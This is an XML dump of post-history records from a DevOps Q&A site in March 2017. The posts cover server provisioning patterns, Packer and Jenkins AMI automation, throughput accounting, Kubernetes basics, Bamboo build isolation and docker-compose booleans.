  <row Id="1631" PostHistoryTypeId="24" PostId="477" RevisionGUID="5d7ac791-f810-4a68-bd12-e62cfd6ac726" CreationDate="2017-03-14T14:55:29.237" Comment="Proposed by 47 approved by 40, 6 edit id of 142" ContentLicense="CC BY-SA 3.0" />
  <row Id="1632" PostHistoryTypeId="5" PostId="473" RevisionGUID="258ab4d0-3f48-47dc-851a-f4e839597bc0" CreationDate="2017-03-14T14:55:37.533" UserId="47" Comment="added 63 characters in body" Text="For question about branches in revision/version control systems" ContentLicense="CC BY-SA 3.0" />
  <row Id="1633" PostHistoryTypeId="24" PostId="473" RevisionGUID="258ab4d0-3f48-47dc-851a-f4e839597bc0" CreationDate="2017-03-14T14:55:37.533" Comment="Proposed by 47 approved by 40, 6 edit id of 140" ContentLicense="CC BY-SA 3.0" />
  <row Id="1635" PostHistoryTypeId="2" PostId="523" RevisionGUID="302f8395-cc50-481f-91c0-9c2560c4c097" CreationDate="2017-03-14T16:44:14.233" UserId="13" Text="As I was more thinking of a listing of advantages and drawbacks of each type, here's is my view (not exhaustive, it's the important operational ones in my opinion ):&#xD;&#xA;&#xD;&#xA;1. Snowflakes Servers:&#xD;&#xA;- what they are:&#xD;&#xA;&#xD;&#xA;        Systems with their specific configuration, no other servers in the datacenter have the exact same parameters. They are usually manually administered.&#xD;&#xA;  &#xD;&#xA;- advantages:&#xD;&#xA;        &#xD;&#xA;        Fitted to the needs of what's running on them.  &#xD;&#xA;        Long lived, updates are usually shorts.&#xD;&#xA;        Adapted to special cases where the tweaks are well documented by the product hosted.&#xD;&#xA;    &#xD;&#xA;- drawbacks:&#xD;&#xA;        &#xD;&#xA;        Sometimes updates leave unused files, the cleanup could be complex.  &#xD;&#xA;        When the changes have to be made to multiples machines it takes a while.  &#xD;&#xA;        Nothing prevent undocumented change.   &#xD;&#xA;        In case of corruption, you have to rebuild a base OS and restore, some OS tweaks can't be restored and should be re applied, it's easy to slip over a line and forget an important tweak.&#xD;&#xA;        Usually long to provision due to the manual configuration.&#xD;&#xA;&#xD;&#xA;2. Phoenix Servers:&#xD;&#xA;- What they are:&#xD;&#xA;&#xD;&#xA;        Automatically configured by some code.&#xD;&#xA;&#xD;&#xA;- advantages:&#xD;&#xA;&#xD;&#xA;        Defined by code, version-able.   &#xD;&#xA;        Easily replicated to a point in time.  &#xD;&#xA;        Long lived, short updates also.  &#xD;&#xA;        Changes to controlled files are documented and can't be forget.&#xD;&#xA;&#xD;&#xA;- drawbacks:&#xD;&#xA;&#xD;&#xA;        Sometimes updates leave unused files, the cleanup could be complex.  &#xD;&#xA;        Not everything is under code management, some tweaks by an human can be missed if not included into the automation.&#xD;&#xA;&#xD;&#xA;3. Immutable servers:&#xD;&#xA;        &#xD;&#xA;- what they are:&#xD;&#xA;&#xD;&#xA;        Automated one time provisioning from a master image with generally no access.&#xD;&#xA;&#xD;&#xA;- advantages:&#xD;&#xA;&#xD;&#xA;        Defined by code, version-able.  &#xD;&#xA;        Easily replicated to a point in time.  &#xD;&#xA;        Reduced attack surface due to the usual removal of remote access.&#xD;&#xA;        Fixed configuration, no change can break something&#xD;&#xA;        Easily scalable 'on demand' from the master image.&#xD;&#xA;&#xD;&#xA;- drawbacks:&#xD;&#xA;&#xD;&#xA;        They are immutable, you have to ensure you can roll an update quickly in case of a 0day flaw impacting you.  &#xD;&#xA;        Not all applications fit well inside this model (Databases for example, a complete replace on same datas is not always possible, there's migration to handle).  &#xD;&#xA;        Brings some new challenges for forensic analysis of crash and log management.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;None of those pattern are exclusive, you have to chose the best one according to your actual need. Snowflakes brings a lot of concerns in case of recovery after disaster so the choice is usaully more between Phoenix and Immutable.&#xD;&#xA;        &#xD;&#xA;        &#xD;&#xA;        " ContentLicense="CC BY-SA 3.0" />
  <row Id="1637" PostHistoryTypeId="2" PostId="524" RevisionGUID="8921d5c7-fcbf-4f77-bc7b-31f48ba4e908" CreationDate="2017-03-14T18:13:06.797" UserId="43" Text="You should take a look at [packer](https://www.packer.io/), we've found it very helpful in automating builds of image types, including AMI's." ContentLicense="CC BY-SA 3.0" />
  <row Id="1638" PostHistoryTypeId="5" PostId="524" RevisionGUID="3fc9255f-5611-4772-bd64-05ea6b04ac47" CreationDate="2017-03-14T19:09:14.443" UserId="43" Comment="Expanded answer, based on feedback and 'how to answer'" Text="You should take a look at [packer](https://www.packer.io/), we've found it very helpful in automating builds of image types, including AMI's.&#xD;&#xA;&#xD;&#xA;We make use of the chef client provisioner with cookbooks to manage the changes applied to an image, although many other provisioners (shell, puppet, ansible, etc) are supported. We can output docker images, AMIs and vagrant boxes from shared configuration, all version controlled with the rest of our config management code.&#xD;&#xA;&#xD;&#xA;See [here](https://www.hashicorp.com/devops-defined/?_ga=1.117846345.1538168759.1487877381) for a breakdown of where this fits in a broader process, but your approach sounds sensible.&#xD;&#xA;&#xD;&#xA;Using tools like packer means that if you decide to switch to containers, that the image build side is pretty trivial to change over." ContentLicense="CC BY-SA 3.0" />
  <row Id="1639" PostHistoryTypeId="5" PostId="457" RevisionGUID="9baa40ae-48b8-4a47-a3e9-3e8f19a4ef34" CreationDate="2017-03-14T19:10:20.000" UserId="53" Comment="added 104 characters in body" Text="I am attempting to trigger a parameterized jenkins build from Bamboo, doing the below.&#xD;&#xA;&#xD;&#xA;POST - &#xD;&#xA;`http://jenkins-url.com/job/jobname/buildWithParameters?ENVIRONMENT=dev&amp;APPLICATION=hello-world`&#xD;&#xA;&#xD;&#xA;But I will get a 201 instantly which tells me that the build was created. How do I make this request wait and return the success status of the build instead of the fire and forget? &#xD;&#xA;&#xD;&#xA;It is apparently possible as per [Parameterized-Remote-Trigger-Plugin][1]:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/morficus/Parameterized-Remote-Trigger-Plugin&#xD;&#xA;  [2]: https://i.stack.imgur.com/lcoWp.png&#xD;&#xA;&#xD;&#xA;Edit:&#xD;&#xA;created this in the end if you need it.&#xD;&#xA;https://github.com/owenmorgan/jenkins-remote-builder" ContentLicense="CC BY-SA 3.0" />
  <row Id="1641" PostHistoryTypeId="2" PostId="525" RevisionGUID="f7b93434-92e7-4753-be43-0c17f1206a23" CreationDate="2017-03-14T19:57:25.363" UserId="228" Text="**TL;DR**: It is the **wrong thing** to measure. By measuring and increasing utilization in employees across the board, you **create problems** in the system and **reduce** overall **throughput**.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Throughput Accounting&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;What you actually want to measure is throughput, inventory and operating expense all together and try to reduce inventory and reduce operating expenses while at the same time maximizing throughput. This method is known as [throughput accounting][1]. &#xD;&#xA;&#xD;&#xA;In software development, inventory is the work in progress that is not bringing benefits to the customer yet. Anything that has been done, but not released. Throughput is the amount of work useful to the customer that is being released. Any work done that is not directly useful to the customer is accounted as operating expense.&#xD;&#xA;&#xD;&#xA;Simple system&#xD;&#xA;-------------&#xD;&#xA;&#xD;&#xA;In a **simple system** with *single human* or multiple humans working *independently* with independent equipment as much as each one does will directly increase the **throughput** of the whole **system**. This leads to the common **misconception** that is basis for this question that increasing human utilization will lead to increased throughput in all systems. But you still measure the **throughput** of the system, **inventory** and operating **expenses**.&#xD;&#xA;&#xD;&#xA;Complex System&#xD;&#xA;--------------&#xD;&#xA;&#xD;&#xA;In a complex system, even with as little as two dependencies, increased utilization of one part of the system can directly lead to decrease of utilization in the bottleneck, which decreases throughput of the whole system. Any increase in productivity outside of the bottleneck is a **mirage**.&#xD;&#xA;&#xD;&#xA;*Example:* Team of software engineers has all code reviewed by the software architect, who also makes plans for new features. This person is a bottleneck, code not reviewed by the architect will simply increase inventory, if the architect does not have time, no new features will be properly planed. If you start measuring utilization of software engineers, they will each try to make more changes, rather than better changes. The time the architect will need to spend on each change will increase and the total time spent reviewing will increase further by the increased amount of changes to a point where no time would be left to plan new changes. Eventually the whole system grinds to a halt. If on the other hand they decrease utilization, even spend time idling, they spend longer on each change or peer reviews, this could lead to decrease in time required for reviews and eventually increase in throughput. This is just single team with 2 dependencies. Engineers depend on architect for new changes to be planed and for changes to be reviewed.&#xD;&#xA;&#xD;&#xA;Clearly the benefits are to be gained in properly managing the bottleneck and trying to gain **productivity at the bottleneck**, where **hour gained**, is hour of **throughput of the entire system**.&#xD;&#xA;&#xD;&#xA;This is the real message of [The Phoenix Project][2] and comes directly from the [Theory of Constraints][3] by Eliyahu M. Goldratt. You might also read an article on [utilization thinking vs throughput thinking][4]. I would also suggest to read more on [Critical Chain Process Management][5].&#xD;&#xA;&#xD;&#xA;*Remember:* [What you measure is what you get][6]. And you definitely **DO NOT WANT** to get increased individual utilization. [A road to Hell is paved with good intentions.][7]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Throughput_accounting&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/The_Phoenix_Project_(novel)&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Theory_of_constraints&#xD;&#xA;  [4]: https://davenicolette.wordpress.com/2012/02/04/utilization-thinking-vs-throughput-thinking/&#xD;&#xA;  [5]: https://en.wikipedia.org/wiki/Critical_chain_project_management&#xD;&#xA;  [6]: https://www.isixsigma.com/community/blogs/what-you-measure-what-you-get/&#xD;&#xA;  [7]: https://en.wikipedia.org/wiki/The_road_to_hell_is_paved_with_good_intentions" ContentLicense="CC BY-SA 3.0" />
  <row Id="1642" PostHistoryTypeId="2" PostId="526" RevisionGUID="e0d1201a-bfdf-4f75-9999-179b4d104c29" CreationDate="2017-03-14T21:56:16.530" UserId="63" Text="I have been looking for a way to update AMI id in Jenkins EC2 plugin configuration after a packer build is run. After some digging, I found a promising way to do it **IF** the packer run is done by Jenkins itself, via [postbuild groovy plugin](https://github.com/jenkinsci/ec2-plugin/pull/154) (mind you, this remains to be tested, but looks good)&#xD;&#xA;&#xD;&#xA;However I would like to be able to run the packer build anywhere, and have the resulting AMI id updated at Jenkins remotely, presumably via authenticated REST? Is that possible? Where would I start looking?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1643" PostHistoryTypeId="1" PostId="526" RevisionGUID="e0d1201a-bfdf-4f75-9999-179b4d104c29" CreationDate="2017-03-14T21:56:16.530" UserId="63" Text="How to remotely update AMI id in Jenkins EC2 plugin?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1644" PostHistoryTypeId="3" PostId="526" RevisionGUID="e0d1201a-bfdf-4f75-9999-179b4d104c29" CreationDate="2017-03-14T21:56:16.530" UserId="63" Text="&lt;jenkins&gt;&lt;packer&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1645" PostHistoryTypeId="2" PostId="527" RevisionGUID="abd50ef6-0b84-4e2c-949b-51e79bf34758" CreationDate="2017-03-15T01:02:42.237" UserId="228" Text="What they are talking about is [Kaizen][1] [5M][2] (Man, Machine, Material, Method, Measurement). It is approach to continuous improvement at every station in the process and the Ms are possible points of improvement and to which there is a corresponding question (5Qs). Sometimes Environment is added for 6th, like in this process that [explains how to construct the questions][3] using the [Ishikawa diagram][4]. These are pretty much essentials of the [TPS][5] / [Lean Manufacturing][6]. But the improvements are not in utilization, they are improvements in quality. You never strive for utilization as that is counterproductive to the [throughput of the system][7].&#xD;&#xA;&#xD;&#xA;It is important to understand that Man, Machine, Material, Method and Measurement are not easily separated. Sometimes Machine, Material and Measurement come on one side together and Man and Method on the other side. As you can replace a Man and a Method on that work station.&#xD;&#xA;&#xD;&#xA;In terms of software development, you have Software (Machine), Issues (Material), Code Quality/Acceptance (Measurement), Man (Programmer) and Method (Development Process). The man trains on the machine and becomes familiar with it, with the material being worked on, understands the measurement required, learns the process. All those are living in the Man's brain and so are not easily separated once learned. Changing a Method is only possible if the Man has not fully internalized it yet, otherwise it gets easier to change Man and Method. Also Machine, Material and Measurement are often tied together through automation and configuration. That is why those are being drawn on opposite sides of the diagram.&#xD;&#xA;&#xD;&#xA;If you read the book carefully, it does not really talk about utilization other than on the bottleneck of a value chain. In order to elevate and exploit the bottleneck. Several methods are employed for that in the book, including [Kanban][8]. &#xD;&#xA;&#xD;&#xA;You don't want to optimize the individual stations of your process (Customer-&gt;Support-&gt;Development-&gt;Review-&gt;Testing-&gt;User Acceptance-&gt;Deployment-&gt;Customer), but you need to model the transitions between those work stations, their dependencies and to monitor [Work In Process][9] (WIP) moving through the system. Usually through an [Issue Tracking Software][10] (or Kanban system), which is equivalent to materials tracking in manufacturing. Where the WIP piles up in front of the work station in your critical chain process, you will find your bottleneck and that is the place where you want to optimize using Kaizan (5Ms,5Qs) &#xD;&#xA;&#xD;&#xA;**Notice:** *I've added Customer both at the start and the end of your process, as each value chain has to start and end with a Customer otherwise it does not represent value to the company.*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Kaizen&#xD;&#xA;  [2]: http://www.kaizenworld.com/kaizen-glossary.html&#xD;&#xA;  [3]: http://www.transition-support.com/6ms_to_6qs.pdf&#xD;&#xA;  [4]: https://en.wikipedia.org/wiki/Ishikawa_diagram&#xD;&#xA;  [5]: https://en.wikipedia.org/wiki/Toyota_Production_System&#xD;&#xA;  [6]: https://en.wikipedia.org/wiki/Lean_manufacturing&#xD;&#xA;  [7]: http://devops.stackexchange.com/a/525/228&#xD;&#xA;  [8]: https://en.wikipedia.org/wiki/Kanban_(development)&#xD;&#xA;  [9]: https://en.wikipedia.org/wiki/Work_in_process&#xD;&#xA;  [10]: https://en.wikipedia.org/wiki/Issue_tracking_system" ContentLicense="CC BY-SA 3.0" />
  <row Id="1646" PostHistoryTypeId="5" PostId="513" RevisionGUID="9fe42165-062d-457d-bd97-704fb34f3492" CreationDate="2017-03-15T12:43:38.207" UserId="40" Comment="added 366 characters in body" Text="Here is a partial quote from [an answer][1] to the question about &quot;http://devops.stackexchange.com/q/498/40&quot;:&#xD;&#xA;&#xD;&#xA;&gt; This environment usually freezes during the tests.&#xD;&#xA;&#xD;&#xA;My question: what are sample implementations of a frozen environment? I.e. what can you do to technically enforce that nobody (except if allowed by an authorized user like a release manager) will be able to change anything in such frozen environment.&#xD;&#xA;&#xD;&#xA;**Clarifications**:&#xD;&#xA;&#xD;&#xA;- I'm not talking about what (I think) is called &quot;frozen periods&quot; during (eg) year-end processing in banks. That is about not being allowed to apply any (repeat any) changes to production environments, to reduce the risk of new changes/fixes being introduced that may impact the year-end processing.&#xD;&#xA;&#xD;&#xA;- Assume that users who are allowed to approve/apply changes anyway (such as the release manager in my example), will only do so in exceptional cases. Such as where during testing a high severity issue is encountered, for which deferring a fix to a next release is not an option (since it would production at risk if the release would be activated without such fix).&#xD;&#xA;&#xD;&#xA;- This could just be about suspending any automated update during the time of the test. The point is: avoid someone else upgrading an Application A to version Y while another team is still testing application B in version X which rely on application A. This could mean having a guard to avoid a test team to require an update on a dependency under test.&#xD;&#xA;&#xD;&#xA;  [1]: http://devops.stackexchange.com/a/499/40" ContentLicense="CC BY-SA 3.0" />
  <row Id="1655" PostHistoryTypeId="5" PostId="522" RevisionGUID="22e4757a-75f6-4ffc-9438-4fd2418bd2a6" CreationDate="2017-03-15T17:13:32.717" UserId="62" Comment="comments contain valuable info" Text="We are planning to automate this process for our Jenkins EC2 slaves.&#xD;&#xA;&#xD;&#xA;Currently we have to manually update the AMI ID every time we build a new AMI, but by taking advantage of the `config.xml` file where Jenkins store all its configuration, we should be able to automatically update the AMI value in this file and then restart Jenkins to take those changes into effect.&#xD;&#xA;&#xD;&#xA;EDIT: see comments below for a better way to make those changes rather the config.xml file" ContentLicense="CC BY-SA 3.0" />
  <row Id="1656" PostHistoryTypeId="2" PostId="530" RevisionGUID="7af0408a-4845-4a3a-824c-fc1379c1cca8" CreationDate="2017-03-15T17:17:03.387" UserId="62" Text="The PR you are linking to contains a link to a [python script](https://gist.github.com/marvinpinto/a6c9b5119d418a65d489) that does exactly this, since you can run that script from anywhere you can access your Jenkins server." ContentLicense="CC BY-SA 3.0" />
  <row Id="1657" PostHistoryTypeId="5" PostId="517" RevisionGUID="a2a6a014-5ec8-4298-9cb9-aac7d987c17d" CreationDate="2017-03-15T18:45:15.577" UserId="228" Comment="added 83 characters in body" Text="The problem here is caused by the random salt in ansible-vault encryption. You can hack VaultEditor class to pass the salt to it from an argument in ansible-vault. The random salt is generated in `lib/ansible/parsing/vault/__init__.py` on this [line][1]. It is called from [lib/ansible/cli/vault.py][2] where you can easily add the argument for fixed salt. If you do change it, please submit an upstream patch to Ansible, I'd love to use it.&#xD;&#xA;&#xD;&#xA;This problem is further discussed here on [hacker news][3]. And there are other implementations with tools that take fixed salt, namely [gitcrypt][4], [transcrypt][5]. Here is also a link to one more implementation using ansible-vault called [ansible-vault-tools][6], but this one has the same salt issue as far as I know.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/ansible/ansible/blob/stable-2.2/lib/ansible/parsing/vault/__init__.py#L711&#xD;&#xA;  [2]: https://github.com/ansible/ansible/blob/stable-2.2/lib/ansible/cli/vault.py&#xD;&#xA;  [3]: https://news.ycombinator.com/item?id=8264496&#xD;&#xA;  [4]: https://github.com/kinnalru/gitcrypt&#xD;&#xA;  [5]: https://github.com/elasticdog/transcrypt&#xD;&#xA;  [6]: https://github.com/building5/ansible-vault-tools" ContentLicense="CC BY-SA 3.0" />
  <row Id="1659" PostHistoryTypeId="2" PostId="531" RevisionGUID="85f89103-b1d2-4690-88c5-e0bfe3f3d8a3" CreationDate="2017-03-15T19:28:51.793" UserId="707" Text="It seems that many people somehow try to define &quot;the process&quot; but there is no alignment; still I assume that this is more a question of maturity/alignment, not of matter of taste. &#xD;&#xA;&#xD;&#xA;To pin up terms from available popular sources:&#xD;&#xA;Plan, Develop, Test, Release, Operate&#xD;&#xA;Plan, Code, Build, Test, Release, Deploy, Operate, Monitor&#xD;&#xA;Requirements, Development, Build, Testing, Deployment, Execution&#xD;&#xA;&#xD;&#xA;On the Wiki page for the DevOps toolchain, the image does not correllate with the text.&#xD;&#xA;https://en.wikipedia.org/wiki/DevOps_toolchain&#xD;&#xA;&#xD;&#xA;Sources:&#xD;&#xA;https://devops.com/devops-2017-cdos-care/" ContentLicense="CC BY-SA 3.0" />
  <row Id="1660" PostHistoryTypeId="1" PostId="531" RevisionGUID="85f89103-b1d2-4690-88c5-e0bfe3f3d8a3" CreationDate="2017-03-15T19:28:51.793" UserId="707" Text="What is a complete and correct terms list for a complete DevOps toolchain?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1661" PostHistoryTypeId="3" PostId="531" RevisionGUID="85f89103-b1d2-4690-88c5-e0bfe3f3d8a3" CreationDate="2017-03-15T19:28:51.793" UserId="707" Text="&lt;toolchain&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1662" PostHistoryTypeId="2" PostId="532" RevisionGUID="d766448c-72ba-43a0-a2ba-110eef0afd00" CreationDate="2017-03-15T19:30:32.053" UserId="707" Text="In ITIL they relate to DML - definitive media library&#xD;&#xA;https://en.wikipedia.org/wiki/Definitive_Media_Library" ContentLicense="CC BY-SA 3.0" />
  <row Id="1663" PostHistoryTypeId="10" PostId="531" RevisionGUID="7c6025d9-ac1c-40c4-824a-d4957736b01a" CreationDate="2017-03-15T20:59:20.633" UserId="-1" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:14,&quot;DisplayName&quot;:&quot;Aurora0001&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;},{&quot;Id&quot;:460,&quot;DisplayName&quot;:&quot;THelper&quot;},{&quot;Id&quot;:154,&quot;DisplayName&quot;:&quot;coderanger&quot;}]}" />
  <row Id="1664" PostHistoryTypeId="2" PostId="533" RevisionGUID="5f18a5b4-2865-4eb0-931b-c99dcd65570b" CreationDate="2017-03-15T21:06:58.820" UserId="2" Text="Using containers for such computation nodes makes a lot of sense, and it would offer other advantages, too. But it's not a silver bullet. You'd still have to work at it.&#xD;&#xA;&#xD;&#xA;To really answer your question I need to know how you're deploying your system (is it with an ASG? manually? with some tool, like Ansible?). &#xD;&#xA;&#xD;&#xA;If you're using an ASG, dockerizing it wouldn't solve the problem of having to update the AMI. It would still need to be updated, since the launch-configuration refers to it, and the ASG will spin up &quot;old&quot; versions. of course, you can make your ASG instances smarter, by using Chef or something equivalent and let them provision themselves and fetch the latest version of what they're supposed to be running. But that means investing in this extra infrastructure, if you don't already have it; and it also means increased scaling latency, since it takes time to do this self-update when a new instance is spun up.&#xD;&#xA;&#xD;&#xA;If you're not using an ASG, you can just push the latest image onto your instances when you deploy. Here a dockerized solution would indeed be pretty handy. e.g. if you join your instances into a Docker swarm, you can deploy a new version with one instruction and it'll be done with a rolling upgrade, etc. &#xD;&#xA;&#xD;&#xA;So, as you can see, there are a bunch of ways to do it. Depends on what you're already doing now and what your needs are." ContentLicense="CC BY-SA 3.0" />
  <row Id="1665" PostHistoryTypeId="2" PostId="534" RevisionGUID="b6e6c2b0-004a-43bb-a130-976168214c0a" CreationDate="2017-03-16T02:42:13.853" UserId="46" Text="I understand how containers work and the concept of containerizing. &#xD;&#xA;&#xD;&#xA;However, I am having trouble understanding how Container Cluster Managers work. I was reading through this [excellent blog post][1], which blew my mind about Kubernetes. &#xD;&#xA;&#xD;&#xA;**So, I wanted to know how exactly do these systems like Kubernetes, Docker, etc work?** I tried reading [this Wikipedia article][2], but I wanted a much more basic-level explanation.&#xD;&#xA;&#xD;&#xA;**Are these similar to how Zoo-Keeper work? (like the Master-Worker architecture)?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://medium.com/spire-labs/mitigating-an-aws-instance-failure-with-the-magic-of-kubernetes-128a44d44c14#.1naze4qfc&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Kubernetes" ContentLicense="CC BY-SA 3.0" />
  <row Id="1666" PostHistoryTypeId="1" PostId="534" RevisionGUID="b6e6c2b0-004a-43bb-a130-976168214c0a" CreationDate="2017-03-16T02:42:13.853" UserId="46" Text="How exactly does Kubernetes work?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1667" PostHistoryTypeId="3" PostId="534" RevisionGUID="b6e6c2b0-004a-43bb-a130-976168214c0a" CreationDate="2017-03-16T02:42:13.853" UserId="46" Text="&lt;docker&gt;&lt;containers&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1669" PostHistoryTypeId="2" PostId="535" RevisionGUID="a4bf2113-0ccb-493f-b62c-fd7ae5895753" CreationDate="2017-03-16T09:03:48.417" UserId="53" Text="Ive created this script which will follow your remote build to completion.&#xD;&#xA;&#xD;&#xA;https://github.com/owenmorgan/jenkins-remote-builder" ContentLicense="CC BY-SA 3.0" />
  <row Id="1671" PostHistoryTypeId="2" PostId="536" RevisionGUID="e0f46b70-347b-457e-b8c4-f5688475aa24" CreationDate="2017-03-16T12:32:14.583" UserId="184" Text="We have Atlassian Bamboo running on Ubuntu. When a developer is setting up a build, then he has the possibility to run shell script tasks. This is useful to run (custom) commands on the codebase you are building.&#xD;&#xA;&#xD;&#xA;However, the scripts that run can also access the filesystem outside their job directory in the Bamboo working directory (`&lt;Bamboo-home-dir&gt;/xml-data/build-dir/JOB_KEY`). So JOB_A can also access files of JOB_B: `cd ../JOB_B`.&#xD;&#xA;&#xD;&#xA;Is there a possibility to restrict this access?&#xD;&#xA;&#xD;&#xA;P.S. I am aware of the fact that builds are ran by (local or remote) agents in Bamboo and you can build different projects by different agents. However, if two projects are built by the same agent, the projects could access each other's files." ContentLicense="CC BY-SA 3.0" />
  <row Id="1672" PostHistoryTypeId="1" PostId="536" RevisionGUID="e0f46b70-347b-457e-b8c4-f5688475aa24" CreationDate="2017-03-16T12:32:14.583" UserId="184" Text="How to restrict filesystem access in Atlassian Bamboo builds?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1673" PostHistoryTypeId="3" PostId="536" RevisionGUID="e0f46b70-347b-457e-b8c4-f5688475aa24" CreationDate="2017-03-16T12:32:14.583" UserId="184" Text="&lt;builds&gt;&lt;bamboo&gt;&lt;permissions&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1676" PostHistoryTypeId="10" PostId="534" RevisionGUID="a96802dc-5cd9-4500-a90d-e35fd488bd3d" CreationDate="2017-03-16T15:48:24.530" UserId="-1" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;},{&quot;Id&quot;:57,&quot;DisplayName&quot;:&quot;Romeo Ninov&quot;},{&quot;Id&quot;:299,&quot;DisplayName&quot;:&quot;JonMark Perry&quot;},{&quot;Id&quot;:47,&quot;DisplayName&quot;:&quot;Dan Cornilescu&quot;},{&quot;Id&quot;:14,&quot;DisplayName&quot;:&quot;Aurora0001&quot;}]}" />
  <row Id="1677" PostHistoryTypeId="5" PostId="532" RevisionGUID="12774a55-822a-4385-b1ca-bc98c3fd1cca" CreationDate="2017-03-16T16:57:35.140" UserId="707" Comment="added 627 characters in body" Text="Side note on the culture side. While in DevOps we consider the concept of &quot;artifact repository&quot; as a given situation, there seems to be not so much linkage to the organizational process.  &#xD;&#xA;&#xD;&#xA;Culture problem: if an organization uses ITIL, the certified people would say &quot;we need to have a definitve media library, such a repository to place software configuration items we have produced&quot;. So people who care about well structured IT processes do not know which (not-management) tools support that and are in use. Vice versa, if you need a justification for a Nexus or Artifactory language, you might have hard times to explain it depending on the organization.&#xD;&#xA;&#xD;&#xA;Further reading:&#xD;&#xA;https://en.wikipedia.org/wiki/Definitive_Media_Library" ContentLicense="CC BY-SA 3.0" />
  <row Id="1678" PostHistoryTypeId="5" PostId="531" RevisionGUID="f265d4c2-9a95-4a32-80e4-ccc4ac22e0c8" CreationDate="2017-03-16T17:01:08.990" UserId="707" Comment="added 18 characters in body" Text="It seems that many people somehow try to define &quot;the process&quot; but there is no alignment; still I assume that this is more a question of maturity/alignment, not of matter of taste. &#xD;&#xA;&#xD;&#xA;To pin up terms from available popular sources:&#xD;&#xA;&#xD;&#xA;(a) Plan, Develop, Test, Release, Operate&#xD;&#xA;&#xD;&#xA;(b) Plan, Code, Build, Test, Release, Deploy, Operate, Monitor&#xD;&#xA;&#xD;&#xA;(c) Requirements, Development, Build, Testing, Deployment, Execution&#xD;&#xA;&#xD;&#xA;On the Wiki page for the DevOps toolchain, the image does not correllate with the text.&#xD;&#xA;https://en.wikipedia.org/wiki/DevOps_toolchain&#xD;&#xA;&#xD;&#xA;Sources:&#xD;&#xA;https://devops.com/devops-2017-cdos-care/" ContentLicense="CC BY-SA 3.0" />
  <row Id="1679" PostHistoryTypeId="2" PostId="537" RevisionGUID="5690eba1-168d-459f-acd9-14574f7f0d8b" CreationDate="2017-03-16T17:08:49.330" UserId="210" Text="Defining a boolean in a docker-compose.yml file:&#xD;&#xA;&#xD;&#xA;    environment:&#xD;&#xA;      SOME_VAR: true&#xD;&#xA;&#xD;&#xA;and running `docker up` results in:&#xD;&#xA;&#xD;&#xA;    contains true, which is an invalid type, it should be a string, number, or a null&#xD;&#xA;&#xD;&#xA;**Attempts to solve the issue**&#xD;&#xA;&#xD;&#xA; 1. If true is changed to True the issue persists.&#xD;&#xA; 2. using `'true'` is not accepted by the code itself:&#xD;&#xA;&#xD;&#xA;    VAR has type STRING rather than BOOLEAN&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1680" PostHistoryTypeId="1" PostId="537" RevisionGUID="5690eba1-168d-459f-acd9-14574f7f0d8b" CreationDate="2017-03-16T17:08:49.330" UserId="210" Text="Why is one not allowed to use a Boolean in docker-compose?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1681" PostHistoryTypeId="3" PostId="537" RevisionGUID="5690eba1-168d-459f-acd9-14574f7f0d8b" CreationDate="2017-03-16T17:08:49.330" UserId="210" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1682" PostHistoryTypeId="5" PostId="531" RevisionGUID="68a4f474-6e12-4b6a-a5e4-7c38a0efa9ed" CreationDate="2017-03-16T17:17:04.143" UserId="707" Comment="added 215 characters in body" Text="It seems that many people somehow try to define &quot;the process&quot; but there is no alignment; still I assume that this is more a question of maturity/alignment, not of matter of taste. &#xD;&#xA;&#xD;&#xA;Question: Can be/Is there a common-agreed concept of the term list to describe the DevOps toolchain which is not opinion but evidence based? (Letting alone that in some cases you would avoid one or more of them)&#xD;&#xA;&#xD;&#xA;To pin up terms from available popular sources:&#xD;&#xA;&#xD;&#xA;(a) Plan, Develop, Test, Release, Operate&#xD;&#xA;&#xD;&#xA;(b) Plan, Code, Build, Test, Release, Deploy, Operate, Monitor&#xD;&#xA;&#xD;&#xA;(c) Requirements, Development, Build, Testing, Deployment, Execution&#xD;&#xA;&#xD;&#xA;On the Wiki page for the DevOps toolchain, the image does not correllate with the text.&#xD;&#xA;https://en.wikipedia.org/wiki/DevOps_toolchain&#xD;&#xA;&#xD;&#xA;Sources:&#xD;&#xA;https://devops.com/devops-2017-cdos-care/" ContentLicense="CC BY-SA 3.0" />
